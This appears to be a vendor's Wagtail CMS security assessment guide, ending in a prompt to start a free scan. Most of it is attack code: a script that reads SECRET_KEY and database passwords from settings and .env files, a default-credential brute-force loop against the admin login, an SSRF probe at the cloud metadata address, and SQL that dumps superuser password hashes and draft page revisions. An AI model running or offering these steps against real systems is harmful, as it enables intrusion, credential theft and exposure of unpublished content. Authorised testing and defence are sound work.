Wagtail is the most popular Django-based CMS, used by the NHS, Google, NASA, and thousands of organizations. Key assessment areas: Django settings.py SECRET_KEY enables session and CSRF token forgery; DATABASES exposes PostgreSQL or SQLite credentials; admin at /admin or /cms; auth_user stores PBKDF2-SHA256 hashes; the Wagtail API v2 exposes page content; and draft page revisions in wagtailcore_revision contain unreleased content. This guide covers systematic Wagtail CMS security assessment.
# Wagtail CMS — settings.py SECRET_KEY and PostgreSQL credential extraction
WAGTAIL_URL="https://site.example.com"
# settings/production.py or settings.py — Django/Wagtail configuration
python3 -c "
import re
# Try common settings file locations
paths = [
'/var/www/wagtail/mysite/settings/production.py',
'/var/www/wagtail/mysite/settings.py',
'/var/www/wagtail/settings/production.py',
'/var/www/wagtail/config/settings/production.py',
]
for p in paths:
try:
content = open(p).read()
sk = re.search(r'SECRET_KEY\s*=\s*[\"\'](.*?)[\"\']\s', content)
if sk: print(f'SECRET_KEY: {sk.group(1)[:60]}')
pw = re.search(r'\"PASSWORD\"\s*:\s*\"([^\"]+)\"', content)
if pw: print(f'PostgreSQL password: {pw.group(1)[:60]}')
host = re.search(r'\"HOST\"\s*:\s*\"([^\"]+)\"', content)
if host: print(f'PostgreSQL host: {host.group(1)}')
print(f'found in: {p}')
break
except: pass
" 2>/dev/null
# .env pattern (many Wagtail projects use python-decouple or django-environ)
grep -E "SECRET_KEY|DATABASE_URL|DB_PASSWORD" /var/www/wagtail/.env 2>/dev/null | head -5
# Check settings.py web access (must return 403)
for PATH_CHECK in "settings.py" "mysite/settings/production.py" ".env"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${WAGTAIL_URL}/${PATH_CHECK}" 2>/dev/null)
echo "/${PATH_CHECK}: HTTP ${STATUS}"
done
# Wagtail admin at /admin (configurable via WAGTAILADMIN_BASE_URL or urls.py)
for ADMIN_PATH in "/admin" "/cms" "/wagtail"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${WAGTAIL_URL}${ADMIN_PATH}/" 2>/dev/null)
echo "${ADMIN_PATH}/: HTTP ${STATUS}"
done
# Wagtail admin and API v2 content assessment
WAGTAIL_URL="https://site.example.com"
ADMIN_PASS="admin-password"
# Test admin credentials at Django admin login
for CRED in "admin:admin" "admin@site.com:wagtail" "superuser:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token first
CSRF=$(curl -sc /tmp/wag_c "${WAGTAIL_URL}/admin/login/" 2>/dev/null | \
grep -oE 'csrfmiddlewaretoken[^>]+value="[^"]+"' | grep -oE '"[^"]+"' | tr -d '"' | head -1)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${WAGTAIL_URL}/admin/login/" \
-b /tmp/wag_c -c /tmp/wag_c \
-d "username=${USER}&password=${PASS}&csrfmiddlewaretoken=${CSRF}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Wagtail API v2 — page content enumeration (may be public)
curl -s "${WAGTAIL_URL}/api/v2/pages/?format=json&limit=10" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
pages = d.get('items', [])
for p in pages:
print(f'{p.get(\"id\")} | {p.get(\"title\")} | {p.get(\"meta\",{}).get(\"type\")} | live={p.get(\"meta\",{}).get(\"show_in_menus\")}')
" 2>/dev/null
# Wagtail API — images endpoint
curl -s "${WAGTAIL_URL}/api/v2/images/?format=json&limit=10" 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
for img in d.get('items', []):
print(f'{img.get(\"title\")} | {img.get(\"download_url\")}')
" 2>/dev/null
# Wagtail chooser proxy — SSRF via EmbedFinder (if enabled)
curl -s "${WAGTAIL_URL}/admin/embeds/chooser/upload/?url=http://169.254.169.254/latest/meta-data/" \
2>/dev/null | head -5
# Wagtail CMS — PostgreSQL auth_user hash and content extraction
DB_PASS="extracted-db-password"
psql -U wagtail -h localhost -d wagtail 2>/dev/null << 'EOF'
-- auth_user — Django user accounts with PBKDF2 hashes
SELECT u.id, u.username, u.email, u.password,
u.is_superuser, -- True = Django superuser (full admin access)
u.is_staff, -- True = Wagtail admin access
u.is_active, u.date_joined, u.last_login
FROM auth_user u
WHERE u.is_active = true
ORDER BY u.is_superuser DESC, u.id;
-- password format: pbkdf2_sha256$ITERATIONS$SALT$HASH
-- PBKDF2-SHA256 resistant but crackable with weak passwords
-- wagtail_userprofile — Wagtail-specific user settings
SELECT p.user_id, u.username, u.email,
p.preferred_language,
p.avatar
FROM wagtailusers_userprofile p
JOIN auth_user u ON u.id = p.user_id
ORDER BY u.is_superuser DESC;
-- wagtailcore_page — all pages including draft and private
SELECT p.id, p.title, p.slug, p.live,
p.has_unpublished_changes,
p.owner_id, p.first_published_at, p.last_published_at,
p.depth, p.path
FROM wagtailcore_page p
WHERE p.live = false -- Unpublished pages
OR p.has_unpublished_changes = true -- Pages with unpublished edits
ORDER BY p.last_published_at DESC NULLS FIRST
LIMIT 20;
-- wagtailcore_revision — page revision content (includes all draft versions)
SELECT r.id, p.title AS page_title,
r.created_at,
r.approved_go_live_at,
LEFT(r.content::text, 200) AS content_preview
FROM wagtailcore_revision r
JOIN wagtailcore_page p ON p.id = r.object_id::integer
ORDER BY r.created_at DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| settings.py SECRET_KEY and PostgreSQL PASSWORD extraction | Read settings/production.py — SECRET_KEY for Django session/CSRF forgery + DATABASES PASSWORD; full database access to auth_user hashes and page content | Critical |
| auth_user PBKDF2-SHA256 hash extraction with is_superuser=True identification | PostgreSQL SELECT password FROM auth_user WHERE is_superuser=true — PBKDF2-SHA256 hashes; superuser = full Django admin + Wagtail admin + model access | High |
| Admin credential brute-force at /admin/login/ | POST /admin/login/ — username/password with CSRF token; no rate limiting by default; Django superuser session enables full admin access | High |
| Wagtail API v2 /api/v2/pages/ unauthenticated content enumeration | GET /api/v2/pages/?format=json — enumerate published pages, slugs, and metadata without authentication if API is enabled without auth | Medium |
| wagtailcore_revision draft content enumeration via database | PostgreSQL SELECT content FROM wagtailcore_revision ORDER BY created_at DESC — embargoed draft content stored as JSON; accessible to all Wagtail admin users | Medium |
Ironimo tests Wagtail CMS deployments for settings.py SECRET_KEY and DATABASES PostgreSQL PASSWORD web and filesystem extraction, admin URL discovery (/admin, /cms, /wagtail), admin credential brute-force at /admin/login/ with rate limiting assessment, auth_user PBKDF2-SHA256 hash extraction with is_superuser=True identification, Wagtail API v2 /api/v2/pages/ and /api/v2/images/ unauthenticated enumeration, wagtailcore_revision draft content database access, wagtailcore_page unpublished page enumeration, embed SSRF via EmbedFinder assessment, and Wagtail/Django security advisory cross-reference via pip audit.
Start free scan